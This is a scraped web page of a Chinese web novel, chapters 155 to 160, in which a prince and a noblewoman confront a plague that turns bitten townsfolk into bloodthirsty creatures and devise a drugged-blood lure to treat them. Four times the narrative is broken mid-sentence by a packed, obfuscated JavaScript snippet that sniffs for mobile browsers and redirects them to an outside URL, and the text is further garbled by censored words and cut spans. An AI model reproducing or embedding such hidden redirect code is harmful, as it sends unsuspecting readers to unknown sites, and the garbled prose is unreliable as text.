说时迟那时快,一直警惕地弓着背脊的黑豹,喉咙里发出一声低沉的咆哮,如一道黑色的闪电般腾空而起,锋利的爪牙闪过一道寒光,下一刻,它狠狠咬住了那名侍卫打扮男子的喉咙! 那人发出一声怪叫,重重地摔倒在地,脖颈处鲜血狂涌,流出的血却不是正常的鲜红色,而是带着一股恶臭的黑红色液体,在地上迅速凝固成一滩令人作呕的污迹。 这突如其来的血腥场面,仿佛一个信号,瞬间刺激到了巷道里其他那些神色木然的人。 他们忽然发出意义不明的嘶吼,一个个双眼更加赤红,疯了一般朝着萧凌川带领的队伍猛扑过来! “该死!”萧凌川暗骂一声,意识到眼前的局面远比他预想的要棘手得多。 “快,撤退!不要让他们碰到,也不要伤害他们!”他当机立断,厉声下令。 这些变得人不人鬼不鬼的东西虽然可怖,但他仍记得他们是大邺的子民。 听到萧凌川的命令,训练有素的士兵们虽然心中也充满了恐惧和困惑,但还是迅速反应过来,纷纷举起手中的盾牌,紧密地靠拢在一起,形成一道密不透风的钢铁之墙。 那些扑上来的“人”狠狠地撞在盾牌上,发出“砰砰砰”的闷响,尖锐的指甲在盾牌上划出一道道刺耳的摩擦声,留下深浅不一的抓痕。 “后退!保持阵型!”凌风一边挥刀格挡着试图从缝隙中攻击的“人”,一边大声指挥着士兵们有序后撤。 好在这些“人”似乎失去了理智,只知道一味地猛冲猛撞,并没有什么战术可言。 萧凌川带领的队伍有惊无险地成功退回到了南朔城外。 城外阳光明媚,与城内的阴森诡异形成了鲜明的对比。 士兵们大口喘着粗气,脸上兀自带着惊魂未定的神色。 方才那一幕,实在太过骇人。 萧凌川面沉似水,转向那个惊魂未定的二皇子贴身侍卫,沉声问道:“方才那些人,到底怎么回事?” 那贴身侍卫这才回过神来,嘴唇哆嗦着将这几个月来发生在南朔城的诡异事件原原本本地告知了萧凌川。 原来,自从二皇子带领残部从南月国败退回大邺的南朔城后,那些尾随而来的南月猫便开始在城中肆虐。 它们攻击和咬伤士兵和百姓,被咬伤的人,有些当场毙命,伤口处流出黑色的毒血,死状凄惨。 但这还不是最可怕的。 最可怕的是,一部分被南月猫咬伤的士兵和百姓并没有立刻死去,而是经历了一段痛苦的高烧和抽搐之后,身体发生了诡异的变化。 他们的眼睛会逐渐变成骇人的赤红色,失去所有的神智和情感,变得力大无穷,凶残无比,而且和那些南月猫一样,对活人的血肉有着强烈的渴望,见人就咬。 随着时间的推移,这些被感染变异的人越来越多,像一场无法控制的瘟疫,在南朔城中迅速蔓延。 他们不再认识昔日的同袍和亲人,只知道疯狂地攻击一切活物。 许多来不及躲避的士兵和百姓,都在睡梦中或者不经意间,被这些曾经的同伴偷袭致死,场面惨不忍睹。 二皇子和幸存的士兵们想尽了各种办法,试图阻止这场灾难,但都无济于事。 那些变异的人仿佛不知疼痛,不知疲倦,即使被刀剑砍伤,只要没有伤及要害,很快又能重新站起来继续攻击。 无奈之下,二皇子只能带着剩余的士兵和一些侥幸存活下来的百姓,躲进了城中一处废弃的地窖里,依靠百姓们早先存储起来准备过冬的粮食勉强度日,苦苦支撑,等待着朝廷的救援。 那侍卫说到最后,声音已经带上了浓浓的哭腔,噗通一声跪倒在萧凌川面前,哀求道:“殿下,求求您,快想办法救救二皇子殿下和城里的百姓吧!再不想办法,他们怕是会冲出这南朔城,跑到大邺其他疆土上去,那、那后果不堪设想啊!到时候,整个大邺,怕是都要遭殃了!” 萧凌川脸色越来越阴沉,周身散发出的寒气几乎能将空气冻结。 他原以为南月人只是想用毒猫制造混乱,却没想到这毒猫竟能将毒传染给人,把活人变成这般嗜血的怪物! 这已经超出了战争的范畴,简直是丧心病狂! 南朔城是大邺最南端的一座边陲小城,与南月国之间仅仅隔着一座连绵起伏的山脉。 不过,南朔城与大邺内陆的另一个相邻城镇南阳之间,隔着一条宽阔湍急的大河。 或许正是因为这条天然的屏障,那些被南月猫咬伤后变异的人,才暂时无法离开南朔,去危害大邺其他地区的百姓。 这真是不幸之中的万幸。 否则,若是让这些怪物涌入大邺腹地,后果简直不堪设想。 凌风站在一旁,听着侍卫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742867|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙述,脸色也变得异常难看。 一想到方才那些双目赤红、状若疯魔的“人”,他便感到一阵阵心有余悸。 饶是他这种见惯了生死搏杀的暗卫,也从未见过如此诡异恐怖的景象。 “殿下,我们……我们该怎么办?”凌风艰难地开口问道。 萧凌川紧抿着薄唇,深邃的眼眸中闪烁着复杂的光芒。 如今**变异的不仅仅是士兵,还有大量的南朔城百姓。 如果他此刻下令,调集大军,不顾一切地冲进城中,将所有变异的人全部斩杀,或许能够以最快的速度解决这场危机。 但是,那样一来,他的名声,便会彻底染上屠戮无辜百姓的污点。 身为大邺皇子,却将屠刀对准了自己的子民,将来就算他真的能够登上那个至高无上的位置,也未必能得到天下百姓的真心敬仰和拥戴。 所以,这些**变异的百姓和侍卫,他不仅不能轻易下令格杀,还得想办法救他们! 他思忖片刻,沉声道:“凌风,立刻派人去设一个陷阱,抓一个活的、已经变异了的人回来。记住,要活的!然后,你立刻派一队快马,将此人严密看管,火速送回京城,交给孙神医,让他务必在最短的时间内,研制出解药!” “这……”凌风闻言,脸上露出了犹豫之色,“殿下,捕捉那些怪物本就凶险万分,而且这一来一回京城,路途遥远,怕是会耽误不少功夫。况且,二皇子殿下和城里的幸存者还在地窖里困着,他们恐怕撑不了太久啊!” 萧凌川何尝不知道时间的紧迫,但他更清楚,如果不找到解药,即使救出了二哥和那些幸存者,这场灾难也远远没有结束。 那些变异的人,就像一颗颗随时可能引爆的**,威胁着整个大邺的安危。 “我知道。”萧凌川的声音低沉而坚定,带着不容置疑的决绝,“但是,解药必须尽快研制出来。否则,就算我们暂时控制住了南朔城的局势,也无法从根本上解决问题。” 他稍作停顿,目光扫过身旁神色各异的将士,沉声道:“挑选二十名身手最为矫健、意志最为坚定的精兵,命他们穿上浸泡草药的特制铠甲,携带最精良的武器,随我再度入南朔城!” 凌风闻言大惊:“殿下,您要亲自进城?这太危险了!城里那些怪物……” “无妨。”萧凌川打断了他的话,眼神锐利如鹰隼,“二哥还在城中等着我去救他,我岂能坐视不理?而且,只有亲眼看看城中的情况,才能制定出最有效的应对之策。” 他的语气平静,却透着一股令人心悸的寒意,“若我们此时退缩,反倒遂了南月人的意!” 他漆黑的眼眸中,闪过一丝冰冷的杀意。 南月国,既然你们敢用如此歹毒的手段来挑衅大邺,那就别怪我心狠手辣! 第156章 他们渴求的,是人的血肉! 第一百五十六章他们渴求的,是人的血肉! 凌芜听闻凌风带了个身中诡异毒物的侍卫回了京城,准备找孙神医研制解药,顿时坐立不安。 她想去帮凌风的忙,可又不知如何向姜姝宁开口,才不至于暴露她是四皇子殿下手下这个身份。 犹豫了片刻,凌芜灵光一闪,想到了一个法子。 她模仿凌风的笔迹,写下了一张字条。 字条上,她以凌风的口吻,言辞恳切地请求姜姝宁前往孙神医处帮忙,并着重强调此事十万火急,若处理不好,萧凌川和二皇子都可能葬身南朔边境。 写完之后,她将字条绑在一支羽箭上,将箭射进姜姝宁的房里。 一声轻响,箭矢稳稳地钉在了窗棂上。 姜姝宁正手捧着一本书看得入神,被这突如其来的声音吓了一跳。 她起身走到窗边,一眼便看到了那支绑着字条的箭。 展开字条一看,姜姝宁的脸色顿时变得凝重起来。 她唤来凌芜,将字条上的内容简单说了一遍,吩咐道:“凌芜,你随我一同去字条上所说的住处。” 凌芜强压下心头的激动,故作平静地应道:“是,大小姐。” 两人依照字条上的地址,来到京城一处十分隐蔽的宅院外。 这宅院看起来普普通通,毫不起眼,若不是字条指引,任谁也想不到这里会是孙神医的藏身之处。 凌芜上前叩响了门环,不多时,一个面容普通的仆人便开了门。 听她们表明身份,仆人脸上的戒备之色方才散去,侧身让出一条路,低声道:“两位请随我来。” 仆人将她们带到一间屋子前,便自行退下了。 恰在此时,房门“吱呀”一声从里面打开,凌风高大的身影出现在门口。 他看到姜姝宁,脸上露出了明显的诧异之色:“姜姑娘,您怎么来了?” 凌芜见状,连忙抢先开口道:“我们大小姐收到你的字条了!凌风大人,到底出什么事了?字条上说殿下和二皇子殿下有危险,是不是真的?说吧,想我们怎么帮忙?” 她一边说着,一边朝凌风使了个眼色,示意他配合。 凌风瞬间明白了她的意图,连忙对姜姝宁拱手道:“姜姑娘,实不相瞒,我们这里确实遇到了一些棘手的麻烦,正缺人手。不知……能否让您身边的这位婢女留下来帮帮忙?” 其实,他们缺的并非普通的人手,而是绝对信得过的人。 孙神医的住处乃是机密,绝不能轻易暴露,否则一旦被三皇子的人察觉,后果不堪设想。 更何况,从南朔带回来的那个中了毒的侍卫,其状诡异,若是被人发现,定然会在京城引起巨大的恐慌。 凌芜无疑是最合适的人选。 姜姝宁闻言,毫不犹豫地点了点头:“自然可以。凌芜,你留下来帮凌风大人吧。” 她顿了顿,又看向凌风,神色认真地说道,“我既然来了,也愿意尽一份力。说吧,我能为你们做些什么?” 话音刚落,屋里忽然传来一阵令人毛骨悚然的嘶吼声,那声音不似人声,倒像是某种野兽在濒死前发出的绝望咆哮,尖锐而凄厉,听得人头皮发麻。 紧接着,孙神医略显焦急的声音从屋里传了出来:“凌风大人!老夫让你准备的热水,你到底准备好了没有?!” 凌风这才猛然想起这茬,他连忙对姜姝宁道:“姜姑娘,实在是抱歉,我先去准备热水,您和凌芜姑娘先进屋稍等片刻!” 说着,便急匆匆地转身离开了。 姜姝宁心中疑惑重重,她深吸一口气,和凌芜一起走进了那间散发着诡异气息的屋子。 屋内的光线有些昏暗,只点着几支摇曳的烛火,空气中弥漫着一股难以形容的腥臭味,不同于寻常的血腥,更像是什么东西腐烂后散发出的恶臭,令人闻之欲呕。 孙神医正背对着门口,俯身站在一张木床边,手中捏着几根细长的银针,小心翼翼地刺入床上之人的穴位。 床上躺着一个被粗壮的麻绳牢牢地捆绑着的人,他四肢不断地挣扎扭动,发出“呜呜”的低吼。 此人双眼猩红如血,布满了骇人的血丝,面容狰狞扭曲,额头上青筋暴起,嘴里不时发出一阵阵野兽般的嘶吼,声音嘶哑而恐怖。 姜姝宁只看了一眼,便觉得浑身发冷,头皮一阵阵发麻。 她甚至在那人张开的嘴里,看到了若隐若现的、尖锐的獠牙。 “孙神医,”她强忍着心中的恐惧和不适,开口道,“有什么是我能帮得上忙的吗?” 听到她的声音,孙神医这才缓缓抬起头来:“姜姑娘?你来了?” 姜姝宁的脸色有些发白,她指着床上那个不断嘶吼挣扎的人,声音微微颤抖地问道:“孙神医,这……这是什么?” “姜姑娘,不瞒你说,此人中了极为罕见的毒,这毒是被南月猫咬伤后染上的,这种毒能让人丧失神智,变得如野兽一般嗜血凶残,见人就撕咬。 而此时的南朔边境就遍地是中了这种毒的大邺百姓。若老夫无法尽快研制出解药,四皇子和二皇子将会被困在南朔边境,甚至丧生。” 姜姝宁心头一颤,脑海中不由浮现萧凌川离别前那张俊美脸庞上异样的神情。 她以为这是一场胜券在握 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孙神医苦笑一声,摇了摇头:“姜姑娘,那他们得愿意服用才行啊!总不能一个个设陷阱抓住,捆绑,再逼他们服药,再喂药施针吧?这得多耗费精力啊!” 姜姝宁皱眉思索片刻,脑中灵光一闪:“他们可有喜欢吃的食物?孙神医您方才说,他们跟野兽一样嗜血,那野兽喜欢吃的,他们也应该爱吃。到时候在食物里加入软筋散,他们便能失去反抗能力,乖乖配合治疗了!” “这也未尝不是一个解决的好法子!”他顿了顿,又有些担忧地看向姜姝宁,“只是,姜姑娘,这法子听起来可行,可要确认这些**之人爱吃什么,只怕没那么简单。毕竟,他们跟常人不同,已经无法正常交流了。” 姜姝宁神色一凛:“那便由我来试探**之人究竟喜欢吃什么!” 她迅速吩咐宅中的仆人采买各类肉食,猪、牛、羊、鸡、鸭、鹅乃至鱼肉一应俱全。 所有肉块皆切成大小均匀的肉块,整齐摆放在盘中备用。 姜姝宁手持筷子,逐一将肉块凑近病患嘴边,细细观察他的反应。 结果却让她大失所望。 无论哪种肉,哪怕是带着血水的新鲜肉块,病患都毫无兴趣。 难道**之人不喜欢吃肉类? 可孙神医方才明明说,他们见人便撕咬,莫非…… 姜姝宁心念一动,拔下发间的簪子,用簪尖划破指尖,将一滴鲜血滴落在盘中。 就在此刻,床上病患猛地耸动鼻翼,似是嗅到了世间至美的珍馐,眼中骤然放出贪婪的光芒。 果然! 他们渴求的,是人的血肉! 第157章 不逊男儿的坚韧与胆魄 第一百五十七章不逊男儿的坚韧与胆魄 “看来,这些**之人对人血的气味最为敏感。待到了南朔,只需将软筋散混入人血中,诱使他们服下,便可令他们暂失行动之力,便于施针治疗。” 姜姝宁稍作停顿,又郑重提醒道,“孙神医,烦请您备些能加速伤口愈合的药粉,届时给放血之人使用,尽量减轻他们的损伤。” “甚好!到时他们服下掺有软筋散的血,便不会剧烈挣扎,老夫施针也能顺畅许多。只是……” 孙神医话锋一转,原本舒展的眉头又紧紧皱起,“即便解决了病患挣扎的问题,要治愈他们仍是一件极耗心神与体力之事。南朔**的士兵与百姓为数众多,单凭老夫一人之力,恐难以应对啊!” 一旁的凌芜听着,心中也跟着揪紧。 她虽不通医术,却也明白,要救治如此多的人,仅靠孙神医一人,恐怕累死也救不过来。 他们需要更多的医者同行。 “孙神医放心,此事交由我来安排。我府中的府医与京中几位药铺大夫交情颇深,若有需要,我可请求府医说服他们一同南下,届时也能缓解燃眉之急。”姜姝宁沉声道,“不过,我有个不情之请。” “姜姑娘请说。” “孙神医,可否教我施针之术?我学东西颇快,到时也能为您分担担!” 此言一出,孙神医与凌芜皆是一愣。 “姜姑娘,你的意思是……” 姜姝宁迎上孙神医惊疑的目光,语气坚定,一字一顿道:“我想与你们一同前往南朔,助那些**的士兵与百姓治病!” “万万不可!”凌芜急忙开口,“小姐!南朔那地方凶险异常,到处都是**发狂之人,您怎能去那种地方!太危险了!况且……老爷与夫人定然不会同意!” “父亲母亲那边,我自有办法说服,你不必忧心。”姜姝宁微微一笑,语气柔和却不容置疑,“再说,我身边不是还有你吗?你定会护我周全的,对不对?” “可是……”凌芜欲言又止,脑海中不由浮现出萧凌川那张冷若冰霜的脸。 若是被四皇子知道,她把姜姑娘带去了如此凶险之地,他说不定会扒了她的皮!孙神医也劝道:“姜姑娘,这针灸之术,看似简单,实则深奥无比,内中学问浩如烟海,绝非一日之功便能掌握。 更何况,南朔之地凶险万分,你一介闺阁女子,怎能轻易涉足?若你执意前往,四皇子殿下还得分心护你安危,届时只会令他更加难以应对险境!” “孙神医,凌芜,我明白你们是在为我着想。”姜姝宁语气依旧平静,眼神却越发坚毅,“但如今南月猫之毒在南朔肆虐,残害我大邺士兵与百姓,我身为大邺子民,又怎能眼睁睁看着他们受苦而无动于衷? 况且,我并非毫无自保之力,我略懂箭术,足以护己周全。孙神医,凌芜,你们不必再劝,我心意已决。孙神医,请您先教我施针之法吧!” 看着姜姝宁那双明亮而果决的眸子,孙神医知道再劝也是徒劳。 这位姜姑娘看似柔弱,实则骨子里藏着一股不逊男儿的坚韧与胆魄。 “罢了,既然姜姑娘心意已定,老夫便将这针法倾囊相授。只是,学习过程颇为枯涩,还望姜姑娘能坚持到底。” “孙神医请放心,我定会用心钻研。”姜姝宁郑重应道。 接下来的几日,姜姝宁与四位愿同赴南下的大夫一道,在孙神医悉心教导下,全身心投入到针灸之术的学习中。 正如她所言,她悟性极高,学东西极快。 孙神医所讲的人体穴位、行针的深浅轻重、针法的种种变化以及排毒的关键穴道,她往往听过一两遍便能牢记于心,且能触类旁通。 她下针稳而准,指尖力道拿捏得恰到好处,那娴熟模样,丝毫不逊于那些在医馆苦学数年的医女。 孙神医在一旁看着,心中暗自惊叹。 他行医数十年,见过的天资聪颖之徒不在少数,但如姜姝宁这般通透灵慧、一点即明的,却实属罕见。 难怪那位眼界极高、心思深沉的四皇子殿下会对这位姜家小姐如此倾心。 这样一位集美貌、智慧与胆识于一身的女子,便是他这老朽见了,也由衷欣赏与欢喜,更何况那些情窦初开的年轻儿郎。 姜姝宁学习针术时格外用心,她深知大哥之仇未报,绝不能让萧凌川丧命南朔。 况且,倘若南朔被南月国以如此阴毒手段攻陷,与之仅一河之隔的南阳郡便会即刻暴露在敌军兵锋之下。 南阳若失,富庶的江南之地将门户大开。 届 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759002|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,南月国夺取大邺半壁江山,恐怕只是时间早晚之事。 如今大邺最骁勇善战的两位皇子皆被困南朔,她岂能因个人安危而置国家大义于不顾? 当她将这些深思熟虑的缘由一一向父亲姜丞相道明时,姜丞相脸上浮现出既担忧又欣慰的复杂神色。 “宁儿,若你是个男儿,凭你的才智与胆魄,定能为我大邺建功立业,成就一番事业!” 姜姝宁微微一笑,语气坚定:“父亲,女儿虽非男儿身,但前往南朔救治**百姓与士兵,不也是在为大邺尽一份力吗?” “说得好!宁儿不输任何男儿!”姜丞相赞许地点点头。 “那父亲这是同意了?”姜姝宁心中一喜,忙道,“此行凶险,还请父亲暂时不要告知母亲与家中他人,免得他们担心。” “此事确实该保密。你母亲近来身子孱弱,若是知晓,定会忧思成疾。放心吧,宁儿,若有人问起你的去处,为父便说你回了徐州外祖家探亲,短时间内不会归来。” “多谢父亲!”姜姝宁对着姜丞相深深一福。 她特意去了一趟将军府,将南朔之事告知夏嫣。 “此事本可直接上奏陛下,请求朝廷派人支援,但我担心有人从中作梗,故而只能私下寻找信得过之人一同前往南朔,以免错失解救两位皇子的最佳时机。我思来想去,你无疑是最佳人选之一。” 姜姝宁坦言道。 他们须提防萧修湛,免得他得知南朔如今的危急局势,趁机火上浇油。 不出所料,夏嫣听罢,当即表态愿同前往。 “我自是愿意!南朔毗邻南月国,若南朔失守,大邺离敌军入侵便不远了。即便不为解救二皇子,我也要为大邺百姓冒此一险!”夏嫣语气坚定。 姜姝宁欣慰一笑。 她渐渐明白了夏嫣对二皇子的感情。 二皇子心怀百姓,骁勇善战,这些正是夏嫣所向往的特质。 作为大邺女子,她无缘沙场杀敌,二皇子仿佛是她的另一个自我,替她完成那些她渴望却无法实现的事。 因此,前世他殒命后,夏嫣才会心如死灰,削发为尼。 既如此,今生她便要助夏嫣亲手实现建功立业、救国救民的志向! 让她为自己活一世! 第158章 这香囊不是给他的! 第一百五十八章这香囊不是给他的! 翠竹院内,凌芜仍有些忧心忡忡:“大小姐,您当真想好了?南朔路途遥远,危机四伏……奴婢真怕护不住您!” 她已经能想象出四皇子杀气腾腾的模样了。 姜姝宁笑着亮出手臂上的袖**,安慰道:“放心,我带着你送的袖**,足以自保,绝不会拖累你或其他人!” “大姐姐,拖累谁?”姜天泽好奇地凑上前,“你们刚才在聊什么?” 姜姝宁不动声色地收起袖**,笑道:“没什么,随口闲聊。对了,小白平时吃什么?你能否帮我准备一些?这两天我要和凌芜出门。” “大姐姐要去哪儿?”他追问道。 “徐州老家。” “我也跟你们去!”姜天泽急忙道。 “不必了,有凌芜陪我就够了。”姜姝宁婉拒,顿了顿又道,“你帮我准备些小白爱吃的食物吧,带在路上,免得它饿着。” “好,大姐姐稍等!” 姜天泽很快返回,手里提着一个竹篮。 凌芜接过竹篮,掀开盖子一看,吓得险些将篮子丢出去:“这、这是什么东西?” “怎么了?到底是什么?”姜姝宁好奇地探头一看,只见篮子里竟蠕动着几只尚未睁眼的粉嫩小老鼠,顿时胃里一阵翻涌,“小白吃这个?” “是啊,蛇最爱吃小老鼠了!”姜天泽笑得人畜无害,全然不觉有何不妥。 姜姝宁强忍不适问:“除了老鼠,还能喂它什么?” “还能喂虫子或者青蛙!”姜天泽答得干脆。 姜姝宁:“……”没有一种是她能带上路的! 凌芜连忙道:“大小姐,还是别带了,老鼠随处可见!” 一想到带着一篮子老鼠上路,她就觉得头皮发麻。 姜天泽笑着道:“大姐姐放心,蛇饿几天没事。小白很聪明,会自己捕食,就算不带吃的,它也不会饿死。” 凌芜嘴角微抽:三少爷,你怎么不早说! “那就好。”姜姝宁松了口气。 凌芜趁机劝道:“大小姐,连小白吃的这些东西你都怕成这样,真要去……‘徐州’吗?” 南朔那些**之人的可怕模样,可远比小白吃的这些食物骇人得多。 “我意已决,你不必再劝。”姜姝宁语气坚定。 姜天泽一头雾水,插话道:“大姐姐,凌芜姐姐,徐州有什么可怕的东西吗?” “没有!”姜姝宁和凌芜异口同声。 姜天泽:“……”他越发觉得她们在瞒着他什么。 为便于出行,姜姝宁与夏嫣女扮男装,与凌风一同骑马,护送着不擅武艺的孙神医及四位大夫一路南下。 与此同时,南朔城外的一处隐秘地窖内,空气中弥漫着一股潮湿的霉味,混杂着血腥气。 地窖里光线昏暗,只有几盏微弱的油灯在墙角摇曳,映得人影晃动,仿佛鬼魅一般。 萧凌川靠在墙角,他的脸色苍白如纸,额角渗着细密的汗珠,呼吸有些粗重。 先前与**的士兵和百姓搏斗时耗费了太多体力,他现在疲惫不堪。 即便如此,他那双深邃的桃花眸里依然闪着寒光,像是暗夜里的孤狼,时刻保持着警惕。 “四弟……咳咳……你不该来……”旁边的二皇子萧锦瑜半倚在墙上,声音虚弱得像是随时会断气。 他的脸色比萧凌川还要差上几分,嘴唇干裂,眼中布满血丝,身上披着薄毯,却依然止不住地瑟瑟发抖。 他在地窖里待了太长时间,已经许久没见过阳光。 再加上之前殚精竭虑,彻底病倒了。 地窖里没有药,他只能日复一日地熬着,直到昨日萧凌川带着士兵们找到了他。 萧凌川瞥了他一眼,语气冷硬:“二哥,说这些没用的话做什么?我既来了,就没打算丢下你。” 他顿了顿,目光扫过地窖里蜷缩成一团的南朔百姓,又低声补充道,“还有这些百姓,我定会带他们活着出去。” 萧锦瑜扯了扯嘴角,露出一丝苦笑:“我自然信你,只是……这地窖外那些怪物,哪是我们能轻易对付的?你带来的精兵……如今也……” 萧凌川的脸色越发难看,目光转向不远处被绑得结结实实的几名精兵。 他们原本是大军中的精锐,可如今却成了人不人鬼不鬼的模样,双眼猩红如血,喉咙里不断发出低吼,像是野兽般挣扎着要扑向周围的人。 绳索勒得他们手臂青筋暴起,可他们却毫无痛感,只顾着嘶吼和扭动。 “歹毒的南月人,这笔账我迟早要找你们算!”萧凌川咬紧牙关,拳头攥得咯咯作响。 地窖里的百姓缩成一团,个个面如死灰,有人低声啜泣,有人嘴里念叨着求神拜佛的话,还有几个年轻力壮的男子则满脸不忿,眼神时不时瞥向那几个变异的精兵,手中紧握着木棍和铁器,显然是做好了最坏的打算。 “四皇子殿下,咱可不能再等了!”一个满脸胡茬的大汉忍不住开口,声音里带着几分急躁和愤怒,“您瞧瞧这些怪物,随时可能挣脱绳子!到时候咱们谁也跑不了!我家老婆孩子还在地窖里,我不能眼睁睁看着他们被咬伤咬死!” “是啊,殿下!咱知道您是好心,可这些人……已经不是人了!留着他们就是个祸害!”另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拖着疲惫的身体走到地窖一角,从怀里小心翼翼地掏出一个香囊,下意识地将它拿到鼻息间轻嗅。 薄荷特有的香气驱散了他此刻心头的阴霾,让他紧绷的神经稍稍放松了一些。 油灯昏黄的光线洒在香囊上,萧凌川低头细看,眼神却突然一滞。 只见香囊一个不起眼的地方,用深绿色绣线绣着一个极小的“瑾”字。 那一瞬间,他的脸色骤变,瞳孔猛地一缩,心脏像是被什么狠狠揪住,呼吸都乱了节奏。 这香囊不是给他的,而是给萧怀瑾的! 第159章 别在这里碍事! 第一百五十九章别在这里碍事! 不知过了多久,地窖外原本不绝于耳,令人心胆俱裂的嘶吼声,竟然毫无预兆地停歇了。 突如其来的死寂,反而比之前的喧嚣更让人毛骨悚然。 一个负责守在地窖门边的士兵,侧耳贴着厚重的石门听了半晌,声音带着一丝不确定和压抑的惊恐:“殿下,外面好像没声响了。我们要不要……出去看看?” “外面”两个字,让地窖里好不容易平静下来一些的百姓脸上,再次掠过浓重的恐惧。 萧凌川眉峰紧锁,那双深邃的眼眸在昏暗的油灯光下显得愈发幽暗。 他将那个让他心绪翻腾的香囊重新塞回怀中,心口似乎还残留着发现那个“瑾”字带来的钝痛。 他深吸一口气,压下心头那股说不清道不明的郁气和隐痛,对身旁的萧锦瑜沉声道:“我带几个士兵出去看看。你在这里,守着这些**的士兵。若他们挣开绳索,威胁到其他人,那就……杀了他们。” 萧锦瑜在服用了萧凌川给的药丸后,脸色已经比先前好了许多。 他郑重地点头:“四弟,你放心。我绝不会让任何人伤害到大邺的百姓。” 萧凌川这才和几个士兵一同往地窖门口走去。 推开地窖沉重的门,一缕久违的阳光刺破了黑暗,斜斜地照了进来。 外面,真的安静了。 萧凌川率先提着剑,身形压低,如同一只蓄势待发的猎豹,小心翼翼地探出头去。 眼前的情景让他瞳孔微微一缩,握着刀柄的手指下意识地收紧。 地窖之外,原本那些追逐着活人,眼睛猩红,皮肤青黑,状若疯魔的百姓和士兵,此刻都七零八落地躺在地上,一动不动,仿佛**一般。 这到底,怎么回事? 就在这时,巷子深处传来一阵轻微的脚步声。 萧凌川眼神一凛,几乎是本能地,他身形一矮,如狸猫般悄无声息地闪身躲进了一旁破败的屋檐下。 他手中的长刀,在阳光下泛着冷冽的寒光。 其他士兵见状,也立刻紧张起来,纷纷寻找掩体。 脚步声越来越近,偶尔停顿,似乎带着一丝犹豫。 就在那身影即将走出巷子拐角的一刹那,萧凌川猛地暴起! 他左手如铁钳般扣向来人的肩膀,右手长刀一横,冰冷的刀锋精准无误地抵在了那人的脖颈之上! 入手的感觉却是一片柔软,带着女子特有的馨香。 他微微一怔,低头看去。 当看清被他制住的人的面容时,萧凌川整个人都僵住了,仿佛被一道惊雷劈中。 他甚至有那么一瞬间,以为自己因为连日苦战,心神耗损过度,出现了幻觉。 姜姝宁被他突如其来的袭击吓得花容失色,一双清澈的眼眸瞪得溜圆。 她穿一身男子长衫,乍一看像个清俊的少年。 “姝宁?”他的声音沙哑干涩,带着一丝连自己都未曾察觉的颤抖,“你怎么来了?” 他连忙松开钳制着她的手,想要收回抵在她颈间的刀。 但那锋利的刀刃已在她白皙娇嫩的脖颈上,留下了一道细细的血痕。 “该死!”萧凌川低咒一声,懊恼不已。 他想也没想,便伸出带着薄茧的指腹擦拭那道血痕。 谁知力道没控制好,反而将那细小的伤口磨得更红,血迹范围也因此晕开了一小片,衬得她那一片肌肤愈发白得晃眼。 “嘶……”姜姝宁下意识地倒抽一口凉气。 声音虽轻,却像一根针扎在萧凌川心上。 晕开的血痕仿若一朵妖冶的桃花,烙印在她颈间,竟有一种说不出的靡丽。 萧凌川的目光不由自主地在那片嫣红上停留了一瞬,喉结微微滚动了一下。 “抱歉,”他声音沉闷地开口,带着一丝不易察觉的狼狈,“我……力道没控制好。” 姜姝宁没好气地瞪了他一眼:“你向来如此,没轻没重!” 萧凌川只觉这话耳熟,好像在哪听过。 前世欢好之时,他失控沦陷,在她身上留下深浅不一的痕迹,她便会羞恼地嗔怪他“没轻没重”。 她的肌肤吹弹可破,稍一用力便会留下印痕。 她骂他鲁莽,他却故意说她太过娇气。 其实,他是故意的。 喜欢在她身上留下只属于他的印记,喜欢看她因他而染上媚色。 那些隐秘而偏执的占有欲,此刻如同毒藤般再次缠绕上他的心脏。 姜姝宁似乎也因为这句话,想起了某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他喘了口气,继续说道,“若不是姜姑娘想出奇招,将在人血里混入特制的软筋散,再用那些血腥气引诱这些**的人吞食,我们恐怕如今还被他们围困着,更别说找到殿下你们被困的地窖了!” 凌风语气中满是对姜姝宁毫不掩饰的敬佩。 他们从未想到如此巧妙的法子。 姜姑娘果真聪慧,难怪殿下对她青睐有加。 “不过有点小聪明罢了!”萧凌川目光冷若冰霜,落在姜姝宁身上,“如今你也看到了,南朔遍地都是**的人,要治愈这么多人可不是小事!趁他们还没醒来,赶紧回京,别在这里碍事!” 第160章 赶都赶不走 第一百六十章赶都赶不走 面对他的驱赶,姜姝宁神色浅淡:“殿下有空在这里与臣女争论这些无关紧要的事情,不如抓紧时间,将二皇子殿下和那些未受感染的百姓从地窖里救出来!他们在地底下待了那么久,想必已经快撑不住了!” 萧凌川眉头蹙得更紧,周身散发出的寒气几乎能将空气冻结。 他没想到她竟然敢如此直白地顶撞他,而且还是当着这么多人的面。 